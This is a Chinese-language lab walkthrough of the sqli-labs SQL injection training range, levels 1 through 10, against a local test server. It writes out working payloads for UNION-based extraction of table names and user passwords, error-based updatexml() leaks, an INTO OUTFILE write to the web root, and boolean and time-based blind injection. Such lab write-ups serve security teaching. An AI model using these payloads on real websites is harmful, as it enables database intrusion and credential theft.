sql注入(1-10关)

注入环境搭建

1、修改数据库配置文件

2、检查并创建 security 数据库

注入靶场

第一关

  • 注入类型判断 第 1 关是字符串型注入,后端 SQL 语句的写法为:

    sql 复制代码
    SELECT * FROM users WHERE id='$id' LIMIT 0,1;

    这里 $id 被单引号包裹,所以注入时需要先闭合单引号,再构造恶意语句。

  • 核心利用方式 我们通过构造恶意的 id 参数,让后端执行我们拼接的 SQL 语句,从而获取数据库中的敏感信息。

  • 常用技巧:

    • 用 ' 闭合原语句的单引号
    • 用 union select联合查询来获取额外数据
    • --+ 注释掉后面的原始语句,避免语法错误

具体步骤:

1. 判断注入点与类型

  • 构造测试 URL:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=1'
  • 页面返回 SQL 语法错误,说明 id 参数被单引号包裹,是字符串型注入

  • 闭合与注释:用 ' 闭合单引号,用 --+ 注释后续语句,确保语法正确。

2. 确定查询字段数

sql 复制代码
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+
  • 使用 ORDER BY 语句测试字段数:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=1' ORDER BY 3--+

    页面正常;测试 ORDER BY 4 时页面报错,说明原查询结果有 3 个字段

3. 爆当前数据库和用户

  • 构造 UNION SELECT 语句:
sql 复制代码
http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,database(),user()--+

4. 爆数据库中所有表名

  • information_schema.tables 中读取表名:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

5. 爆 users 表的所有字段

  • information_schema.columns 中读取字段名:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+

6. 爆 users 表中的账号密码

  • 直接读取 users 表的敏感数据:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

第二关

SELECT * FROM users WHERE id=$id LIMIT 0,1;

这里 $id 直接作为数字传入,没有引号包裹,属于数字型注入

📌 无需闭合引号:数字型注入不需要用 ' 闭合,直接拼接语句即可。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+

第三关

sql="SELECT \* FROM users WHERE id=('id') LIMIT 0,1";

WHERE id=('1''),说明 id 被 (' 和 ') 包裹,属于带括号的字符串型注入

双重闭合 :注入时需要用 ') 同时闭合单引号和括号,这是本关的核心。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-3/?id=-1%27)union%20select%201,database(),user()--+

第四关

id = '"' . id . '"';

sql="SELECT \* FROM users WHERE id=(id) LIMIT 0,1";

WHERE id=("1""),说明 id("") 包裹,属于双引号 + 括号.

📌:注入时必须用 ") 同时闭合双引号和括号,这是本关的核心。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-4/?id=-1%22)union%20select%201,database(),user()--+

第五关

SELECT * FROM users WHERE id='$id' LIMIT 0,1;

后端 SQL 语句写法(和第 1 关一致):

页面仅返回 You are in........... 或报错,不显示查询结果 ,无法用 UNION SELECT 直接读取数据

爆库名:

sql 复制代码
http://192.168.0.107/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

📌:

  1. 核心函数 :本关依赖 updatexml() 报错函数,通过报错信息泄露敏感数据,替代 UNION SELECT
  2. 闭合方式 :仍需用 ' 闭合单引号,再拼接报错语句,最后用 --+ 注释。
  3. 分段读取updatexml() 报错信息长度有限,内容过长时用 limit 分段查询。
  4. 备选函数 :也可使用 extractvalue(1, concat(0x7e, 内容, 0x7e)) 替代 updatexml(),原理完全一致。

第六关

id = '"'.id.'"';

sql="SELECT \* FROM users WHERE id=id LIMIT 0,1";

核心逻辑不变 报错函数的使用方式和第 5 关完全一致,仅需调整闭合符号:用 " 替代 ' 闭合原语句。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第七关

sql="SELECT \* FROM users WHERE id=(('id')) LIMIT 0,1";

页面返回 You are in.... Out of injectio(无报错),说明闭合方式正确;若报错,检查闭合符号。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-7/?id=-1%27))%20UNION%20SELECT%201,database(),3%20INTO%20OUTFILE%20%27/var/www/html/db_name.txt%27--+

第八关

sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1";

后端 SQL 语句写法(和第5关一致):

AND ASCII(SUBSTR(database(),1,1))=115

第九关

  • 注入类型与页面特征后端 SQL 语句写法(和第 8关一致):

    bash 复制代码
    SELECT * FROM users WHERE id='$id' LIMIT 0,1;
    • id 被单引号包裹(字符串型)
    • 页面永远返回 You are in...........,无任何状态差异
    • 核心利用:构造 AND/OR sleep(N) 语句,若条件为真则数据库执行延时(页面响应慢 N 秒),条件为假则无延时
  • 核心猜解逻辑 结合 IF() 函数 +sleep() 实现条件延时:

    bash 复制代码
    AND IF(条件, sleep(5), 0)
    • 条件为真 → 执行 sleep(5) → 页面响应≈5 秒
    • 条件为假 → 执行 0 → 页面响应≈0 秒
bash 复制代码
http://192.168.0.107/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,sleep(5),0)--+

第十关

📌

  1. 核心区别 :仅闭合符号不同(第 9 关用 ',第 10 关用 "),延时猜解逻辑完全一致。
  2. 测试顺序:先单引号、后双引号,快速定位包裹符号是时间盲注的第一步。
  3. 延时判定:响应时间≥设定值(如 5 秒)= 条件为真,需排除网络 / 服务器性能干扰。
  4. 自动化刚需:手动猜解一个数据库名需数小时,脚本可缩短至几分钟。
相关推荐
ss2732 小时前
若依分离版后端集成 Camunda 7 工作流引擎
java·若依
快快起来写代码2 小时前
Jenkins学习
数据库·学习·jenkins
chalmers_152 小时前
MongoDB实现发布订阅机制
数据库·mongodb
Ashley_Amanda2 小时前
SAP调用Web Service全流程详解
java·前端·数据库
笨手笨脚の2 小时前
Linux JDK NIO 源码分析
java·linux·nio
顾北122 小时前
RAG 入门到实战:Spring AI 搭建旅游问答知识库(本地 + 阿里云百炼双方案)
java·人工智能·阿里云
chilavert3182 小时前
技术演进中的开发沉思-329 JVM:垃圾回收(中)
java·jvm·算法
難釋懷2 小时前
隐藏用户敏感信息
java·spring boot
wangmengxxw2 小时前
SpringAi-MCP技术
java·大模型·springai·mcp